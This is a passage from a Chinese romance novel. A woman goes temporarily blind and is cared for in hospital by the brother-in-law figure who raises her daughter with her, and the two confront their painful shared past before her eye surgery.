她找友人打听,找到一两张喻梨多年前INS上的照片,但面前女人跟照片上依然有差别,她留学时整个人更朝气蓬勃,活力四射,是那种从里到外透出被娇养长大的令人怦然心动的味道,此刻见到,大约是经过岁月沉淀,多了一丝成熟韵味,,但眼底伤感与愁绪遮不住。 小姑娘大胆的递来零食,另徐清晚怔愣了一下,随即笑了笑,摇头:“阿姨不吃零食,谢谢。” “为什么不吃,很好吃哒。”星星依然没收回手,眨巴着她的小眼睛,不解。 “星星。”喻梨就提醒她,“妈妈也不喜欢吃零食,每个人有自己喜欢的东西跟不喜欢的东西,你懂得分享非常棒,但我们要尊重别人的喜好哦。” “好吧。”星星就把自己的小零食收回去,转头扑进妈妈怀里,嘟囔,“妈妈,我想上厕所。” 喻梨就带她去厕所,走之前冲旁边带着鸭舌帽的徐清晚不好意思道:“抱歉。” 徐清晚笑,表示没事:“孩子很可爱。” 喻梨带星星上厕所。 不知道是不是因为洗手间里的味道,她有些轻微的犯恶心,忽然眩晕的症状,微微靠着厕所格子间,等星星。 最近几天不是第一次发生这种事,喻梨一直以为是低血糖引起,这会儿也赶紧从兜里掏出一颗糖含在嘴里。 给星星擦完屁股,又带她去洗漱台洗手。 星星洗完手,看一眼自己湿淋淋的手掌,又妈妈,提醒她:“妈妈,要擦手巾。” 喻梨脸色微微有点白,胸口那丝恶心感压不下去,勉强扯了一张撒手巾递给星星。 出洗手间时,忽然被迎面过来的男人撞到肩膀。 喻梨一下子支撑不住,眩晕感加重,视线出现交闪的白光,大概三四秒钟后,大脑一片空白,周遭也什么都听不清楚,整个世界黑沉沉压下来,彻底看不见。 “我就轻轻的不小心撞了一下。” “不关我的事。” “碰瓷也不是你这个碰法。” “妈妈,妈妈你怎么了?”伴随着小孩子的哭腔。 “小姐,你怎么样?” “小姐 ……” 徐清晚听到外头闹腾,有机场工作人员匆匆跑过去。 应该是有什么意外发生,她没管,向来不喜欢凑这种热闹。 但隔一会儿,她忽然意识到上厕所的母女俩还没回来,她微微皱眉,放下杂志,走出去。 机场光滑可鉴的走廊上围了一小波人群,有面红赤耳正在推脱责任的男人,有娃娃哭泣不知道该怎么办的小孩,有机场的工作人员,以及路过的围观人群,闹哄哄的。 但徐清晚还是一眼看见到倒地上的女人。 沈砚坐在主席位置,这场董事会高度机密,关系到集团近期的一些重大决策。 会议已经持续两个半小时,接近尾声时,坐在后排的总秘周扬手机震动,悄悄出去了一趟。 再进来时,周扬脸色稍显沉重,但显然经过考量,附耳在沈砚耳边说了句什么。 沈砚很快站起来,扣上西服外套,豪华会议室里,他这个动作十分突兀,道歉说了几句场面话,将剩余的事情交给周扬处理,就匆匆抬腿走了。 幸好会议本就到尾声,周扬代为主持了散会仪式,走出会议室时,被几个年纪颇大的董事拦住,打听沈砚忽然离席的原因。 周扬是沈砚身边的老人,滑不溜秋的,自然的套不出什么话,几句话就打着哈哈转移了话题。 沈砚到得比徐清晚想象要快。 她跟机场的工作人员带着星星等在急诊室门口,电话拨出约莫30分钟左右,沈砚就到了。 他穿着很正式,经典灰的三件式的定制西服,发丝梳得一丝不苟,因为奔跑,此刻稍显凌乱,轮廓分明的俊脸明显焦虑慌张,是徐清晚在那张总是淡定疏离的脸上极少看见的神色,腿很长,到门口时差点儿刹不住车。 星星眼睛红肿,睫毛湿哒哒的,本来已经被工作人员和徐清晚安抚好,但陡然看到熟人,依然忍不住扑进沈砚怀里,委屈道:“大伯,妈妈晕倒了。” 沈砚一把抱起他,偏头望向拍CT的大门,没有医生跟他解释什么。 徐清晚只好将自己了解到的说出:“她突然晕倒,急救车上她能说话,说自己眼睛看不见,目前医生正在排查原因。” 沈砚这才发现她,抱着星星,礼貌说了声:“谢谢。” 有护士拿着报告出来问:“家属到了吗?” 沈砚偏头,清晰的声线带着一丝紧张:“这里。” “患者以前发生过这种情况吗,眩晕,失明?” “她出过车祸,眼睛受过伤……”沈砚抱着星星跟护士进去了。 里面的声音渐渐模糊,听不大清楚。 徐清晚沉默的站立了一小会儿,心里滋味莫名。 经纪人给她打电话:“姑奶奶,你助理说你没上飞机?你搞什么!” 徐清晚解释了一两句,经纪人说已经给她定了下一班飞机,不然活动放人家鸽子,她还要不要混了。 徐清晚回了一句:“好的。”立刻走了。 快到尽头拐弯时,她回头望一眼,沈砚抱着那个小女孩跟医生护士一起走出来,他抱孩子的姿势很稳,脸色却并没有往日的沉稳淡定,听医生说话时,目光严肃专注,眉头微微蹙起,是显而易见的担忧与关心,跟平日冷酷疏离的模样简直大相径庭。 第87章 87章喻梨在黑暗中醒来。…… 喻梨在黑暗中醒来。 不能视物的感觉非常糟糕,耳边也有一种诡秘的安静,整个世界都是漆黑一片,令人恐惧又焦虑的黑。 “有人吗?”她从床上起来,抬手去摸,手背瞬间被针扎了一下,撕扯的疼。 “喻小姐,您在输液,先别动。”是好听的女声。 “我女儿呢?”喻梨赶紧问道, 看护是刚来的,还不太熟悉这位刚转进VIP患者的家庭情况:“您说什么女儿?” 喻梨立刻有些紧张,抓住对方手臂:“是个小女孩,你们送我过来的时候应该看到,三四岁的样子,扎着两个小辫子,她跟我一起上的救护车!没有人照顾她吗?她去哪儿了?” “喻小姐,您先别激动。我……” “星星在睡觉,你不要担心,我刚把她哄睡着。”伴随着沉稳的脚步声,喻梨明显感觉到有一道身影笼罩过来,沈砚的口吻带一点安抚意味,令喻梨肩膀陡然松懈下来。 她沉默片刻。 等护士重新帮她将输液针扎进手背,抬脚走远,她才问沈砚:“我什么情况?谁联系的你?医生怎么说,我是暂时看不见,还是以后都看不见?”说着,她从他话音的方向大约判断他位置,朝空气中虚抓了一把,但因为找不准,没有抓着,口吻明显越说越紧张,身体有些发抖,带一种不自知的恐惧。 沈砚主动握住她手,他手掌很宽,温厚瓷实,又抬一只手轻轻按住她肩膀:“没事,医生说是神经性炎症,做手术就可以。你饿不饿,要不要喝点粥?” 喻梨稍稍安慰,但很快又握紧他手指:“你有没有骗我?真的做手术就能好,成功率呢?我以前出过车祸,也这样过,你知道的,是不是复发了,不能好了?” “我骗你干什么?”沈砚声音很稳,语气温和,“医生说没问题,你不要自己吓自己。” 喻梨脸色这才放松下来。 空气中弥漫着一丝尴尬。 两个人似乎都想起喻梨的那场车祸。 肇事者逃逸,喻梨其实连司机都没看清楚,沈砚冲出来救她,结果车子紧急刹车,喻梨脑袋磕在台阶上,沈砚没事,她却短暂昏迷。 脑子有淤血,压迫视神经,好在术后恢复得很好,喻梨几乎都快把这段会议忘却了。 想到这里,喻梨这才发现自己紧张到紧紧握住沈砚的手,于是放开他,识趣的说了声:“谢谢。” 房间里很安静,衬得她这句‘谢谢’格外礼貌清晰。 沈砚看她放开自己,抱膝坐在床头,依旧是小动物般警惕防备的姿势,医院里的白色病服衬得她更瘦,下巴尖了很多,应该是这几日守丧熬夜造成的,缩在那里,小小的一团。 “我给你点了粥,你喝点?”他提议。 出乎意料,喻梨这次没有拒绝,微微的,点了一下头。 喻梨其实心里乱糟糟的,她很想见星星,想抱一抱她,确认她是安全的,但是沈砚说已经哄她睡着,除此之外,她居然想不出还有谁在,会让她更有安全感一点。 徐凤芝已经走了,蒋然还沉浸在悲伤里,蒋静姝行程紧凑,积压了很多活动,能跟着一起处理徐凤芝的后事已经是极限,至于陆哲,她总不能每天麻烦他,好像她也没有更多可以麻烦的人了。 除了沈砚。 居然只剩沈砚! 想到这里,喻梨心里十分微妙,又陷在自己到底是不是像沈砚所说,能够恢复的担忧里,或者沈砚是不是其实只是安慰一个病人? 喻梨乱七八糟的想着,直到耳边重新有脚步声,有人在她面前窸窸窣窣的活动,下一秒,沈砚握住她手,将勺子递给她,又将她另外一只手放在暖呼呼的瓷碗上。 他倒也没有尴尬的提出要为喂她,只是很有分寸提醒她:“先试试温度合不合适。” 喻梨尝了一口,便回答:“可以的。” 她很安静地舀着吃饭。 但也会忍不住问他问题。 “几点了,我睡很久了吗?”问问题的时候,她会依靠听力判断他方向,稍稍偏头望向他。 沈砚说了时间,已经是晚上10点多。 “医生说什么时候可以手术,术后恢复时间呢?”她喝了一口粥,忍不住又问。 “明早会诊的时候让主治医师当面跟你聊手术方案,嗯?”沈砚声音带着磁性。 沈砚坦然的口吻,让喻梨稍稍放心,沈砚似乎没有骗他,似乎真的是很有把握的手术。 隔了会儿她又说:“我手机呢,我想给我合作伙伴打电话,把这边的情况告诉她,还有星星幼儿园那里,也要请假。” 喻梨刚说完,忽然感觉沈砚的靠近。 她眼睛能感觉模糊的光影,沈砚呼吸压过来,似乎微微靠近她脸颊。 喻梨下意识微微往后仰了仰。 但很快被沈砚按住肩膀,他距离果然隔很近,仿佛叹口气道:“医生说你这次发病是情绪引起的,你有没有想过既然已经生病,那试着放松一下自己,不要把自己绷太紧,其他的事情都可以交给我,试着相信我可以处理好。” 喻梨眨了一下睫毛,表情沉静中,带着一丝乖巧。 她想了想,倒也点了一下头。 沈砚似乎没料到她会如此乖巧,忍不住抬手轻轻揉了一下她脑袋。 喻梨似乎不习惯他亲昵的触碰,微微瑟缩了一下。 喻梨只是想早点好。 所以任何手术相关的事,她都会配合。 吃完饭,护工牵她去洗漱,帮她擦脸和身体,她非常不习惯,这种无法视物,需要事事依靠他人帮忙的感觉,但没有办法。 洗漱好,护工柔声问她还有没有别的需要。 喻梨摇了摇头,安静的躺在病床上。 很快关灯声和关门声,应该是对方暂时出去了。 喻梨回忆起自己第一次失明。 沈砚冲出来救下她之后,应该是将她紧急送去了医院,她当时昏迷,醒来后发现眼睛被蒙住,无法视物,是非常焦虑的,徐凤芝的安抚起不了任何作用,她会跟医护人员发脾气。 那时是极为依赖沈砚的,沈砚不来看她,害她以为沈砚出事,徐凤芝隐瞒她,只是不想她伤心,于是迫切的需要知道沈砚的消息,威胁周围的医护人员和徐凤芝,一定要打通沈砚电话,听到沈砚声音。 病人的威胁很惯用,电话里,喻梨听到沈砚声音,立刻放松下来,但沈砚显得比往日沉默,她只好自己拼命找话题,又天真问他是不是出国,所以没来看她。 沈砚的回答已经记不大清楚,但总归是模糊不清的,仔细想来,那似乎是沈砚对她冷淡的开始…… 喻梨不知道自己为什么忽然会想起这件事,时间太久远,很多记忆都很模糊,她只记得年幼的自己很害怕,拼命问徐凤芝自己会不会彻底瞎掉,以后是不是都会看不见,那个时候至少有徐凤芝还有喻父,因为头顶有人替自己撑起一片天空,所以可以骄矜且无所顾忌的将自己的焦虑、担忧、害怕向外发泄。 喻梨在病床上辗转反侧。 沈砚处理完剩余的公务,本想看一眼她在走,发现她翻来覆去,显然睡不着。 抬手敲了一下门。 喻梨对声音非常敏感:“谁?” 沈砚开了等,从门口进来,问她:“睡不着?” “你……还没有走?”喻梨就摸索着从床上坐起来,大约没料到沈砚并没有离开。 沈砚将枕头垫在她后背:“嗯,刚开了个线上会,看你似乎睡不着,害怕?” 喻梨沉默片刻后,承认:“有一点。” “因为医院的环境让你害怕,还是因为病情?”喻梨听见他似乎搬了凳子坐在自己旁边。 “都有。” “是太安静了吗,你想不想听点音乐,或者……” 被喻梨忽然打断:“沈砚,你什么时候知道我妈妈跟你爸爸的事的?” 病房内陷入一种诡异的静谧。 喻梨听见沈砚的呼吸,停滞了一瞬后,归于平稳。 “很早,你出车祸之前。”他淡淡道。 喻梨抱膝沉默。 “我车祸没有找到肇事者,你救了我,但后来没有出现,因为那个时候开始讨厌我,对吗?”良久,喻梨缓缓道,她声音很轻,在夜里安静的病房,语调清晰沉静。 她看不见的地方,沈砚垂眸,视线甚至不敢落到她身上,头顶灯光炽白,在他眼睫处投射下阴影,那阴影仿佛逐渐扩大,独独将他一个人笼罩在里面。 沈砚没有回答。 喻梨就说:“对不起。” 沈誉跟沈母感情很好,喻梨一直知道,幼时只觉得是对神仙眷侣,沈家家庭氛围非常好,无论是沈清、沈砚还有沈廷屹,身上半点世家子弟的坏习惯都没有,都是礼貌温和有教养的类型,看得出来是在很有爱的环境中长大的。 喻家是一场泥石流,将所有人都裹挟在里面,全部毁了。 但他们分别是自己的父母,喻梨就失去了指责的立场。 “不是你需要说抱歉的事。”沈砚似乎很不愿意提起这个话题,“睡吧,时间不早了,明早医生会过来跟你开手术方案会。”说完,他扶她躺下。 帮她掖被子的时候,被她忽然抓住手:“沈砚,如果我真的不能治好,你能不能答应我,永远不把星星带回沈家?” 她说话的语气是小心翼翼的,眉弓微微蹙起,半张小脸陷在雪白被子里,透出一丝紧张。 沈砚指腹抚上她眉心,像是努力的想要抚平那褶皱:“虽然是你在胡思乱想你的病情,但我跟你保证,任何时候,任何地点,我永远不会让星星受到伤害。” 喻梨就微微放开他手,像是得到他承诺,绷紧的神经松懈。 “睡吧。”沈砚拍了拍她被子。 病房里响起关灯和远去的脚步声。 喻梨这次,终于很快进入睡眠。 沈砚出套房后,打了一个电话给沈清。 沈清很快接听,他问了几句星星的事,沈清让他不要担心,她能照顾好许佑,自然也能照顾好星星。 最后,沈砚单手插兜,提及:“妈那里,你暂时不要带星星过去。” 沈清静默片刻:“我知道。” 第二天,主治医师过来跟喻梨商量手术方案,跟喻梨解释病情,确实算是当年车祸留下的后遗症,当时淤血压迫脑神经,虽然清除后恢复视觉,但是神经受到损伤,最近患者情绪波动太大,因为焦虑、压力、悲伤引起的神经性失明,是个小手术,术后大约休息三四天就能好,但以后也要注意放松自己心态,以及后续饮食方面的健康。 听到医生信誓旦旦的保证,喻梨终于不那么焦虑,很明显松一口气的感觉。 沈砚手机响,应该是十分重要电话,出去接电话。 喻梨又问了几个问题,医生耐心的一一作答。 可能看出她的焦虑紧张,主治医师安抚她道:“喻小姐,您放心,昨天送来医院的时候,沈先生非常配合,对您当年您车祸的病情很了解,这对我们昨天对您眼部判断很有帮助,所以前期对您的眼睛已经做过一些紧急处理,明天的手术我们很有信心,不会有问题。” 喻梨愣住,恰此时,沈砚接完电话回来,看喻梨脸色有些许奇怪,下意识问了句:“怎么了?” 主治医师笑着道:“喻小姐似乎不太相信手术的成功率,今天可以稍微带她放松一下。” 沈砚就偏头望向喻梨,见她脸色怔愣,以为她是术前紧张,想了想提议说:“待会儿星星会过来,今天阳光很好,带你去花园晒晒太阳?” 喻梨有些僵硬的点了点头。 但其实她很想问,当年,沈砚明明没有出现,为什么会对她当时车祸的病情十分了解? 约莫十多分钟后,星星由沈清带过来。 小姑娘捧了一束花踮起脚凑到她鼻尖:“妈妈,你闻得到吗,是什么花?” 喻梨笑 了笑:“玫瑰花。” 星星就笑:“回答正确,大姨说你最喜欢玫瑰花。” 沈清也跟着笑。 喻梨知道花束是沈清买的,偏头朝她的方向:“谢谢清姐,麻烦你照顾星星了。” 沈清说:“她很乖,虽然也会因为害怕哭闹,但是跟她解释妈妈生病,暂时照顾不了她,就会懂事的听话不哭。” 喻梨朝星星伸开手掌,小姑娘立刻放下花束滚到她怀里,喻梨紧紧拢住她,嗅着女儿身上软乎乎的奶香味,仿佛终于安心。 星星贴心的轻轻摸上喻梨眼睛周围的纱布:“妈妈,这里痛不痛?会像我肚肚痛的时候吗?” “不痛,医生治疗过,就不痛,只是暂时不能看见星星,等做完手术就可以重新看到星星啦。” “什么是手术?”星星好奇问道。 喻梨想了想,跟她解释:“就像你生病的时候打针一样。” “妈妈的眼睛也要打针吗?”星星在她怀里滚。 “算是吧。” “那你要勇敢一点哦,不要害怕。”小姑娘奶声奶气鼓励她道。 喻梨跟沈清都笑。 沈清陪她在病房吃午饭,又替沈砚解释:“阿砚最近比较忙,很多重要会议要开。” 喻梨点了一下头。 沈清看她不甚在意的模样,极轻的叹口气。 “你生病的事暂时没有通知蒋然,医生说你需要静养。” 喻梨就说:“不用麻烦蒋叔叔了,她处理我妈妈的后事,已经很辛苦。” 然后喻梨顿住,似乎在沈清面前,提起徐凤芝有些不自在。 沈清似乎意识到她的尴尬,抬头看一眼她,没说什么。 隔会儿,吃完饭了,她才抱胸,望着窗外道:“长辈们的事情,我也是近两年才隐约知道一点儿,当时我人在国外,阿砚一个人照顾母亲,现在想来,压力应该是很大的。” 星星吃完饭,喻梨怀里打起瞌睡。 喻梨一边轻轻拍女儿背脊,安抚似的让她睡觉,一边望向她方向说:“谢谢清姐,一直都对我很好。” 沈清单手插兜,回头望她一眼:“你是很好的女孩子,小梨子,按理来说长辈们的事不应该牵扯到你,但我也应该有我自己的立场,如果你已经放弃阿砚,想想怎样跟他说清楚,断了他的念想,有需要我帮忙的地方,可以随时给我打电话。” 说完,她看一眼喻梨怀里的星星,似乎觉得自己有些残忍,视线很快偏过去,午后阳光落在她略显英气的脸颊上,衬得她面容有几分冷清。 喻梨垂下头说:“好。” 沈砚是下午点儿来的。 喻梨正抱着星星睡觉。 沈清简单跟他提了几句喻梨中午胃口不错,沈砚的唇就微微牵了牵。 但沈砚眼窝下的青影极重,沈清大约知道一点儿,徐凤芝的后事,他有每晚陪着喻梨守灵。 周扬说最近国外有重要商务行程,但因为喻梨忽然生病,行程往后压缩,外派了另外一名董事去打头阵。 沈清看一眼他手上拧的蛋糕,拍怕弟弟的肩膀,说了句‘你也注意身体,我让家里阿姨给你煲了汤,晚上多喝点儿’,就走了。 星星比喻梨先醒,趴在妈妈耳朵边偷偷吹气,想叫醒她。 沈砚朝她作了一个‘嘘’的手势,很快将她抱走。 星星就笑嘻嘻搂着他脖子,提出要看动画片,沈砚用商务电脑给她播放,声音放得很小。 没过多久,喻梨也醒了,没有摸到怀里的星星,下意识叫了一声:“星星?” 星星有听到,看一眼靠着沙发打瞌睡的沈砚,跳下来,推开妈妈病房的门:“妈妈,你醒了,我们可以一起吃小蛋糕。” “什么小蛋糕?”喻梨下意识问。 星星牵住她手,往套房客厅里引:“大伯买了蛋糕,要等妈妈醒了一起吃,星星好想好想吃啊。” 喻梨跟着她,步伐有些乱,星星走得急,她无法视物的情况下要跟上她也有些困难,有人突然说了句‘小心’,下一秒,喻梨额头碰到他手心。 沈砚已经醒来,看她被星星拽着,几乎快撞上门框,很快抬手帮她隔开,然后,他握住她手臂,温柔提醒星星:“星星,要走慢一点儿,妈妈看不见,会撞到。” 星星就不好意思的吐了吐舌头:“妈妈对不起,我太想吃蛋糕啦。” 喻梨微笑:“没事。” 喻梨被沈砚带到沙发上,隐约的,听到播放器里有小猪佩奇的动画声,她就顺便提醒他:“吃东西的时候不给她放动画片。” 沈砚微怔,一时没有出声。 喻梨就问:“不是说有蛋糕?” 沈砚喉结滚动:“你想吃?” 喻梨点头:“嗯,你买的什么口味的?” “芝士。”沈砚声音很奇怪,情绪似乎有些许紧张。 喻梨微笑:“那麻烦你切一点,谢谢。” 星星开始欢呼:“哇哇,吃蛋糕啦!” 沈砚目不转睛盯着她,那声‘好’,淹没在星星的欢呼声里。 动画片声音停止,沈砚给星星和喻梨各切了一块。 星星吃得一脸满足,不时看一眼沈砚,又看一眼旁边眼睛裹着纱布的喻梨。 喻梨吃得很安静,一手端着小盘子,一手舀着蛋糕,但是其实因为看不见,不大准,要试两三次才能舀到蛋糕成功喂到嘴巴里。 她刚睡醒,粉红的脸颊上还有印儿,跟星星吃东西的时候很像,脸颊会微微鼓起,像只小仓鼠。 “味道怎么样?”沈砚问。 “还可以,你要尝尝吗?” 沈砚刚开口说:“我不喜欢吃甜……” 被星星忽然踮起脚尖喂了一勺到嘴巴里,沈砚只能无奈咽下。 星星还笑嘻嘻的杵到他面前,眼巴巴问他:“大伯,甜不甜?” 喻梨似乎猜到星星做了什么,偏头往这边望了望。 沈砚隔开星星的目光,朝她望过去,很低很低的说了一个字:“甜。” 星星有听到,就很高兴。 吃完蛋糕,沈砚望了一眼窗外阳光,想起上午医生的建议,问她:“要不要下去转转,现在阳光很好。” 喻梨点头,她在病房呆得太久,感觉自己快发霉。 沈砚让护工找来轮椅,打算推她下去。 又去衣柜里,找她外套。 帮她穿大衣的时候,星星说:“妈妈头发很乱,要梳头发,还要穿鞋子,我帮妈妈拿鞋子。”说完,颠颠儿的去门口找喻梨的鞋子。 等小姑娘抱着喻梨的鞋子跑过来,发现大伯在很认真的帮妈妈梳头发。 小姑娘抱着妈妈的鞋子愣愣的看了一会儿。 阳光很好,从落地窗照射进来,沈砚白色衬衫上挽,骨节分明的冷白手指在阳光下衬得近乎透明,他动作很轻,帮喻梨拢头发的姿势很娴熟,几乎三两下帮她弄好,连梳子都没有用到。 喻梨坐着,脸色沉静,沈砚微微弯腰,目光专注落在她柔顺发丝上,像年少时期,每次闯祸跟人大家斗殴的下午,被沈砚抓到,挨完批评,她撒娇让他带他去吃东西,他让她先整理好衣服,然后三两下帮她弄好被抓得乱糟糟的头发。 星星歪着脑袋看完全程,有点吃醋似的奶声嘟囔:“星星也要扎好看的辫子。” 沈砚就笑着冲她招手:“那你过来。” 星星立刻把鞋子放到妈妈脚下,规规矩矩爬到喻梨旁边,小脚一翘一翘的,还回头跟沈砚要求:“大伯要给星星扎最好看的,比妈妈的还好看。” 喻梨偏头望向星星的方向,微微笑。 沈砚冷白手指蜷了蜷。 忽然意识到,这一幕在阳光下甜蜜得像阳光下吹起的泡泡,仿佛稍微不注意,就会轻轻碎掉。 第88章 第88章徐清晚是白着脸走的。…… 喻梨意识到今年冬天似乎快过去了的时候,是在医院的花园。 失去视觉,听觉跟嗅觉就会变得异常灵敏,空气中有青草的味道,夹杂这各种花香味,医院的人说话都尽量控制音调,但喻梨依然能听见病人家属轻松的聊一些家长里短的事,阳光晒在背上几乎有些滚烫,她甚至微微有些出汗。 纪欣瑜跟她通电话时,沈砚带星星去捉昆虫,她有一只透明的昆虫观察盒,盒面做成放大镜,可以把抓到的虫子放到里面,放大了看。 纪欣瑜:“手术定在什么时候?” 喻梨:“明天上午。” 纪欣瑜:“确定不会有太大危险?” 喻梨:“医生是这样说的。” 纪欣瑜:“是什么原因引起的,怎么会忽然看不见?” 喻梨:“我以前出过车祸,动过手术,医生说这次可能是精神紧绷, 情绪导致。” 纪欣瑜就松口气:“你简直吓死我,昨天一整天都不接电话,还是宏鑫那边的人通知的我。” 喻梨口吻有些抱歉:“让你担心了。” “你自己好好养病,不要想着公司的事,我会处理好的,早就让你处理完阿姨的事,不要着急忙慌赶回来。” 喻梨:“嗯,好。” 纪欣瑜:“喻梨,别把自己绷太紧,我们都只是普通人,坚强是好的,但是有时候试着依赖朋友、亲人、合作伙伴或者心怡的对象,都可以,我们没自己想象那么强大,也不必觉得依赖就是一种软弱。” 喻梨笑了:“你这又是从哪儿新喝的鸡汤?” 纪欣瑜:“我只是觉得,你对自己要求太严苛,不论是当妈妈,还是做你自己。” 喻梨怔住。 恰此时,不远处的星星跑过来:“妈妈,妈妈,你看,我捉到一只小蚂蚁。” 喻梨就跟纪欣瑜说了‘再聊’,挂断了。 星星扑到她怀里,想拿观察盒给她看,抬头才忽然想起:“我忘了,妈妈现在看不见。” 喻梨笑:“没关系,星星想第一个跟妈妈分享对吗?” “嗯。”星星点头。 “那我也很开心。”喻梨温柔说,“星星跟我讲一讲,这只蚂蚁的样子好不好?” 星星就拿着透明的观察盒翻来覆去的看:“额……嗯……他很黑,脑袋好大,腿很细,很长……” 星星在讲的时候,喻梨就习惯性把手伸进女儿背心,想看她有没有出汗,发现女儿后背已经垫上汗巾。 沈砚站在星星身后,看她这个动作,于是说:“给她垫了汗巾,外套也敞开的,今天天气有点热。” 喻梨点了一下头,表示同意。 沈砚看一眼她,尽管戴了一顶遮阳帽,但喻梨额头依然出了一层薄汗,大约是自己觉得热,才想起摸摸女儿的后背有没有打湿。 他递给她纸巾:“你是不是也很热,要不要推你去休息?” 喻梨轻轻摇头,拿纸巾擦拭额头上汗珠,抬头望了一下天空,用脸颊肆意的感受阳光照耀肌肤的感觉。 沈砚很自然地抬手,替她遮挡住眼睛的部分。 喻梨忽然说:“沈砚,我感觉这个冬天,好像终于要过去了。” 说这句话的时候,她表情恬淡。 沈砚想起她前几日守在徐凤芝灵堂前生无可恋的神模样,看她目光有些复杂,很轻的‘嗯’了一声。 沈清吃完晚饭带着许佑来接星星。 许佑给喻梨带了礼物,喻梨拿在手上摸,摸不出是什么。 许佑解释说:“是我拼的帆船,祝小梨子阿姨早日恢复健康。” 他声音介于孩童与少年之间,青涩、稚嫩、也真诚。 喻梨笑着说:“谢谢。” 人一走,病房里安静下来。 沈砚问她想不想听点什么,喻梨想了想:“我们公司账号的直播,我平时这个时候会看。” 沈砚口吻有点无奈:“除了工作,你不会想别的了吗?” “清姐说你最近很忙,你今天有好几个电话进来都挂断,你忙的话不用陪我,我可以自己待着。”喻梨静静望向他的方向。 沈砚就扶她到床上躺下,又用iapd给她放他们公司某个账号的直播,然后出去处理公务。 期间喻梨按了一次铃,是沈砚进来的。 问她:“怎么了?” 喻梨本来以为他已经离开,闻言有些诧异:“你还没走。” “处理点公事。你想喝水?” “帮我叫护工好吗?我想去厕所。” 沈砚叫来正在吃晚餐的护工。 又隔一会儿,喻梨第二次按铃,进来的依然是沈砚。 这次是她想换一个直播间听,沈砚帮她调换了。 到反复第四次,赶在护工前进来的永远都是沈砚。 喻梨觉察出他的一丝不同寻常。 她想了想问他:“你一直没有走?” 沈砚沉默片刻后说:“担心你明天手术会睡不着,想等你睡着再走。” 喻梨没有说话,她看不清沈砚的表情,但是知道他说得是真话。 随口问:“现在几点了?” 沈砚抬起腕表,看了一眼时间,跟她报了一个数字。 “会紧张吗?”喻梨听见凳子的搬动声,应该是沈砚坐到到了她旁边。 喻梨说:“会有一点。” “担心手术失败?”静夜里,沈砚语调低沉。 喻梨点一下头。 沈砚想了想:“需要一些承诺或者保证吗,或者你有没有什么愿望?” “沈砚,你是不是……在紧张?”喻梨望向他的方向,问道。 沈砚愣住,他目光放在她沉静柔软的小脸上,瓷白的肌肤,这样近距离看,灯光下,几乎能看清她脸上细小的绒毛,让人忍不住想要抬手触碰。 他不知道自己是不是在紧张,但是手术前的晚上,他想陪在她身边。 “想被你需要。”沈砚回答。 隔一会儿又说:“不算紧张,大概是想被你需要,所以想陪在你身边,哪怕做一些看起来很小的事。” 喻梨藏在被子里的手指捏了捏。 很多事,其实可以完全交给护工,但是沈砚坚持自己来。 她垂下脑袋,侧脸沉静。 隔一会儿,她忽然开口,嗓音有些低:“谢谢。” “无论是我妈妈的丧事,还是医院这里,谢谢。” 她这样客气,沈砚就不知道可以怎么回答,稍稍偏头,大约是不想看她这副客气又理智的模样。 但是喻梨抬头望向他方向:“你刚才问我需不需要一些承诺或者保证?”她声音很静,与速平缓,不带情绪,“你可以给星星的爱少一点吗?” 沈砚有些莫名,视线重新回到她脸上。 “少一点,忙你自己的事,按你自己的人生节奏走。”说到这里,喻梨停顿了一下,“虽然星星生下来,是在不健全的家庭长大,但是她从来没受到过任何指摘,现在单亲家庭很多,社会容忍度也很高,如果有合适的,我也会结婚,我可以保证,给星星的爱不会少。” 沈砚的下颌,开始紧绷,目光落在她身上,简直像是要将她烫出一个洞。 喻梨说得心平气和:“我们的关系,太复杂,我妈妈跟你爸爸,我跟廷屹,还有你,我不希望星星,有一天要去面对你的家人,你也很清楚,你母亲很难接受星星。我也不希望,星星以后要面对复杂的舆论。” 沈砚喉结滚了滚,深邃的桃花眼底,情绪急速涌动,喉咙有些干涩道:“很晚了,你好好休息,我们改天再谈。” 他起身的时候被喻梨叫住,大概是听到他动静,知道他已经站起来,她稍稍抬头,仰望他脸颊很平静:“我知道你应该喜欢过我,医生说的以前车祸的情况你很了解,那个时候你来过对吗?” 沈砚下颌线绷得很紧,没有说话。 喻梨就接着说:“这样的话,那个时候我也不算自作多情,虽然很早我就不纠结这个了,但是以前因为这个迷惘过,所以现在知道,还挺释然的。”说到这里,喻梨甚至微微笑了一下。 “青春是很美好的事,但都已经过去了,沈砚,你也喜欢过方苒,我也喜欢上别人,我们其实都没有办法回到——” 喻梨忽然被他吻住,沈砚扣住她纤细的脖颈,比他微微往上仰,附身吻下来,他唇很凉,不知道为什么,喻梨甚至感觉他在发抖。 他情绪那样激烈,仿佛害怕她再多说一个字,几乎是为了堵住她话语,吻得破碎又虔诚。 喻梨无动于衷,甚至都没有推开他,平静、漠然。 结束后,沈砚抵着她额头,彼此气息交错,他眼睛很红,近乎祈求:“原谅我,喻梨,即使我犯过蠢事,能不能原谅我一次。” 喻梨呼吸平稳,他在黑暗里找到他手,带着他摸到自己心脏的地方,隔着棉质病服,那里心跳平稳,没有丝毫大的波动,她平静说:“沈砚 ,我原谅你。但是原谅跟喜欢是两回事,我能接受跟你一起抚养星星,在不会让星星受到伤害的前提下,你懂吗?” 回答她的是死寂般的沉默。 沈砚在她的平静里,落荒而逃。 第二天,喻梨上手术台前,沈清早早带星星来跟她加油打气。 喻梨状态很好,抱着星星,说自己会很勇敢,加油的! 沈砚站在病房外,忽然想起很多年以前,他也站在她病房门口,但那时的少女,还是娇纵的,动不动发脾气的,同样的在推入手术台前,她质问徐凤芝:“沈砚呢?我要沈砚,我做这么大的手术,沈砚为什么不来!”闹了很久,才被推进手术室…… 但那已经是很多年前的事了。 两个多小时的手术,医生说很成功。 打了麻药,喻梨要至少半个小时以后才能醒。 沈砚抱了抱星星,带着团队,登上了飞往国外的私人飞机。 直到喻梨出院,沈砚都没有出现。 赵雨浓来接喻梨出院。 她妈妈做阑尾手术,住院整整一个星期,赵雨浓对喻梨愧疚得不知道怎么才好,本来应该陪着料理徐凤芝丧事,后来得知喻梨住院,想立刻赶过来,喻梨没让。 结果赵雨浓还是来了。 “阿姨恢复得怎么样?” “排了两天气,我替她请了护工,真是什么事都赶到一块儿,你怎么回事啊你,太让人操心了。”说着说着,赵雨浓想哭,口吻也是哭腔。 “我手术也很成功,你不要想太多,我现在需要平稳健康的情绪。”喻梨笑。 赵雨浓就抱住她:“喻梨,你要好好的,别什么都憋着,想一想星星,没什么大不了的,嗯?” 认为她是受不了徐凤芝去世的刺激才会病倒。 “好。” 喻梨暂时不能乘坐飞机,赵雨浓就买了跟星星一起回南城的动车票。 